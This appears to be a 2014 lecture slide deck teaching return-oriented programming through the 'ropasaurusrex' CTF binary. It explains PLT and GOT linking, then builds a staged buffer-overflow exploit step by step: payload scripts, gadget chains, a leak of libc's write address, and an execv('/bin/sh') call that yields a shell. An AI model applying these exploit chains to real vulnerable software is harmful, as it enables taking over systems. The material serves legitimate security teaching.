

# ROP

I'm in a hurry and too lazy to find a catchy subtitle

Alessandro Di Federico

[ale@clearmind.me](mailto:ale@clearmind.me)

Politecnico di Milano

June 3, 2014

# Index

Introduction

Dynamic loading

ropasaurusrex

Playing around

Let's get serious

# ropasaurusrex

<https://ctftime.org/task/364>

- 9b6c5b013881561e17621785494640d2 libc.so.6
- c5bb68949dcc3264cd3a560c05d0b566 ropasaurusrex

# Basics

- 1 The main executable is not relocated
  - You know the runtime address of everything in there

# Basics

- 1 The main executable is not relocated
  - You know the runtime address of everything in there
- 2 Shared libraries (.so) are relocated
  - You don't know where they are
  - However the relative distance is preserved

# Basics

- 1 The main executable is not relocated
  - You know the runtime address of everything in there
- 2 Shared libraries (.so) are relocated
  - You don't know where they are
  - However the relative distance is preserved
- 3 An ELF is divided in various sections
  - Some contain code and can't be written
  - Some contain data and can be written
  - Data sections will not be executed (stack)

# The goal

- We want to get a shell
- We need to call an `execv("/bin/sh", ...)`

# Why ROP

The principle is:

## Running code that's already there

- We can do this playing with return addresses
- You don't need to load any shellcode
- You just need to control the stack



# Index

Introduction

Dynamic loading

ropasaurusrex

Playing around

Let's get serious

# Shell objects

- Shell objects are ELF<sup>s</sup> loaded dynamically
- They are libraries of various kind
- The C Standard Library is usually a .so file<sup>1</sup>
- Use `ldd` to list dynamic libs needed by a program

---

<sup>1</sup>Under Linux usually `/lib/libc.so.6`

# Where are they loaded?

- They can be ~everywhere in the address-space
- Fixed positions could cause collisions

# How can I call a function in a library?

- The compiler reserves some space for its address
- The dynamic loader gets in at runtime<sup>2</sup>
- It puts the correct addresses there

---

<sup>2</sup>Under Linux x86\_64 at /lib64/ld-linux-x86-64.so.2

# Is actors

- `r-x` Your code
- `r-x` PLT (Program Linkage Table)
- `rw` - The GOT (Global Offset Table)
- `r-x` The dynamic linker

# The process

- Your code wants to call `printf`
- It makes a call to a stub function in the PLT
- The stub jumps at an address in the GOT
  - If it's the first call it points to the dynamic linker
  - From then on it's the actual address of the `printf`

# Example

```
// gcc -m32 -O0 -o hello hello.c

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    printf("Hello world!\n I've %d args!", argc);
    return EXIT_SUCCESS;
}
```

# main

```
$ objdump -d hello -M intel -mnemonic \
    --no-show-raw-insn
```

```
08048448 <main>:
8048448:      push    ebp
8048449:      mov     ebp, esp
804844b:      and     esp, 0xffffffff
804844e:      sub     esp, 0x10
8048451:      mov     eax, DWORD PTR [ebp+0x8]
8048454:      mov     DWORD PTR [esp+0x4], eax
8048458:      mov     DWORD PTR [esp], 0x8048500
804845f:      call    8048310 <printf@plt>
8048464:      mov     eax, 0x0
8048469:      leave
804846a:      ret
```



# printf@plt

```
$ objdump -d hello -M intel-mnemonic \
    --no-show-raw-insn
```

```
08048310 <printf@plt>:
8048310:      jmp     DWORD PTR ds:0x804a00c
8048316:      push    0x0
804831b:      jmp     8048300 <_init+0x28>
```

0x804a00c

```
$ gdb hello
```

```
(gdb) x /1x 0x804a00c
```

```
0x804a00c <printf@got.plt>:      0x08048316
```

Long story short

0x804a00c will contain the  
address of printf

# Index

Introduction

Dynamic loading

ropasaurusrex

Playing around

Let's get serious

# Index

Introduction

Dynamic loading

ropasaurusrex

Playing around

Let's get serious

# A look at the executable: main

```
ssize_t __cdecl main()  
{  
    pwn_me();  
    return write(1, "WIN\n", 4u);  
}
```

# pwn\_me

```
ssize_t __cdecl pwn_me()
{
    char buf; // [sp+10h] [bp-88h]@1

    return read(0, &buf, 0x100u);
}
```

# Buffer overflow!

- There's a buffer on the stack of 0x88 bytes
- The read writes there 0x100 bytes from stdin
- We have control of a good piece of the stack



# Step 1: take over EIP

- Please, use an helper tool otherwise it's tedious
- Metasploit comes handy<sup>3</sup>
- `pattern_{create,offset}.rb` scripts

```
$ ruby pattern_create.rb 512  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3 ...
```

---

<sup>3</sup>As long as you don't run the msfconsole you're not a script kiddie

# Obtain the offset

```
$ ./ropasaurusrex <<< Aa0Aa1Aa2Aa3Aa4Aa5Aa6...  
Segmentation fault  
$ dmesg | tail -n1  
ropasaurusrex[...]: segfault at 37654136 ip  
    0000000037654136 sp [...] error 14  
$ ruby pattern_offset.rb 37654136 512  
140
```

# First script

```
#!/usr/bin/python
import sys
from helper import *
```

```
exploit = "A" * 140 + "BBBB"
write_string(exploit)
```

```
$ python phase1.py | ./ropasaurusrex
Segmentation fault
```

```
$ dmesg | tail -n1
```

```
ropasaurusrex[...]: segfault at 42424242 ip
0000000042424242 sp [...] error 14
```

# Where is the ELF?

```
$ readelf -l ropasaurusrex
```

- Take a look at the main section:
  - Offset in the file: 0
  - Virtual address: 0x08048000
  - Size: 0x0051c
  - Permission: `r-X`

# Where is write?

- Don't know (yet)!
- We can find the stub for the dynamic linker:

write@plt

```
$ objdump -d ropasaurusrex -M intel-mnemonic \
    --no-show-raw-insn
```

```
0804830c <write@plt>:
```

```
804830c:      jmp     DWORD PTR ds:0x8049614
8048312:      push   0x8
8048317:      jmp     80482ec
```

# First ROP

- We can jump in `write@plt`
- Put on the stack:
  - The address of `write@plt`
  - The return address after `write@plt`
  - Parameters for `write`

```
ssize_t write(int fd, const void *buf, size_t count);
```

# The script

```
#!/usr/bin/python
from helper import write_bytes
from helper import int2bytes as i2b

exploit = ("A" * 140).encode()
exploit += i2b(0x0804830c) # Write address
exploit += i2b(0xBBBBBBBB) # Return address
exploit += i2b(0x00000001) # stdout
exploit += i2b(0x08048001) # Address of "ELF"
exploit += i2b(0x00000003) # Bytes to write

write_bytes(exploit)
```

# Result

```
$ python phase2.py | ./ropasaurusrex  
ELFSegmentation fault  
$ dmesg | tail -n1  
ropasaurusrex[...]: segfault at bbbbbbbb ip  
00000000bbbbbbbb sp [...] error 14
```



# Chaining

- What if we want to call another function?
- For instance another write?
- Parameters would overlap!
- We need to clean parameters for the first call

We need a...



# Gadgets

- We need several POP instructions
- At least 3
- Followed by a RET, so we get control again
- We can only search in the main executable

# There they are

```
$ objdump -d ropasaurusrex -M intel -mnemonic \
    --no-show-raw-insn
```

...

```
80484b5:      pop     ebx
```

```
80484b6:      pop     esi
```

```
80484b7:      pop     edi
```

```
80484b8:      pop     ebp
```

```
80484b9:      ret
```

...

Note: there are four of them, we'll add another "parameter"

# New chain

```
# First call
0804830c # Write address
080484b5 # POP, POP, POP, POP, RET
00000001 # stdout
08048001 # Address of "ELF"
00000003 # Bytes to write
B00BB00B # Useless parameter
# Second call
0804830c # Write address
BBBBBBBB # Final return
00000001 # stdout
08048001 # Address of "ELF"
00000003 # Bytes to write
```

# Result

```
$ python phase3.py | ./ropasaurusrex  
ELFELFSegmentation fault  
$ dmesg | tail -n1  
ropasaurusrex[...]: segfault at bbbbbbbb ip  
00000000bbbbbbbb sp [...] error 14
```

# Index

Introduction

Dynamic loading

ropasaurusrex

Playing around

Let's get serious

# The attack

- We want to do an `execv`
- Its position w.r.t. to `write` is constant!
- Let's try to get the real position of `write`!



# Back to write@plt

```
$ objdump -d ropasaurusrex -M intel -mnemonic \
    --no-show-raw-insn
```

```
0804830c <write@plt>:
```

```
804830c:      jmp     DWORD PTR ds:0x8049614
8048312:      push   0x8
8048317:      jmp     80482ec
```

At 0x8049614 we'll have the address of `write`!

Let's print it!

# Let's get it

```
0804830c # Write address
BBBBBBBB # Final return
00000001 # stdout
08049614 # Address of got(write)
00000004 # Bytes to write
```

```
$ python phase4.py | ./ropasaurusrex | hexdump
-C
00000000  d0 9d 6f f7 |..o.|
00000004
```

It's at 0xf76f9dd0

# And now?

- Our script needs to read this value
- Make the program rejump at its beginning
- Compute the position of `execv`
- Call it

# We also need some other stuffs

```
execv("/bin/sh", pointer_to_null)
```

- “/bin/sh” is in the libc
- pointer\_to\_nulls are everywhere

# Recap

- `write` is in `libc` at `0x000cfdd0` (`write_offset`)
- `execv` is in `libc` at `0x000a7360` (`execv_offset`)
- `“/bin/sh”` is in `libc` at `0x00139dcb` (`binsh_offset`)
- `pointer_to_null` is in our executable at `0x08048008`<sup>4</sup>

---

<sup>4</sup>Right after the ELF header

# Remember!

You have to find the addresses in your own libc!

# First stage

## Steps:

- Print the address of write
- Make the control go back to the `main` function

```
0804830c # Write address
080484b5 # POP, POP, POP, POP, RET
00000001 # stdout
08049614 # Address of got(write)
00000004 # Bytes to write
0804841d # Main of the program
```

# Second stage of the attack

## Steps:

- Read the address of write
- Compute the address of `execv` and `“/bin/sh”`
- Launch another payload

```
f76d1360 # execv_real  
BBBBBBBB # Final return  
f7763dcb # binsh_real  
08048008 # pointer to NULL
```

$$\text{execv\_real} = (\text{write\_real} - \text{write\_offset}) + \text{execv\_offset}$$
$$\text{binsh\_real} = (\text{write\_real} - \text{write\_offset}) + \text{binsh\_offset}$$



# Final step

- Now we should have a shell
- Send “exec ls” and you’re done

Demo

# License



This work is licensed under the Creative Commons Attribution-ShareAlike 4.0 International License. To view a copy of this license, visit <http://creativecommons.org/licenses/by-sa/4.0/>.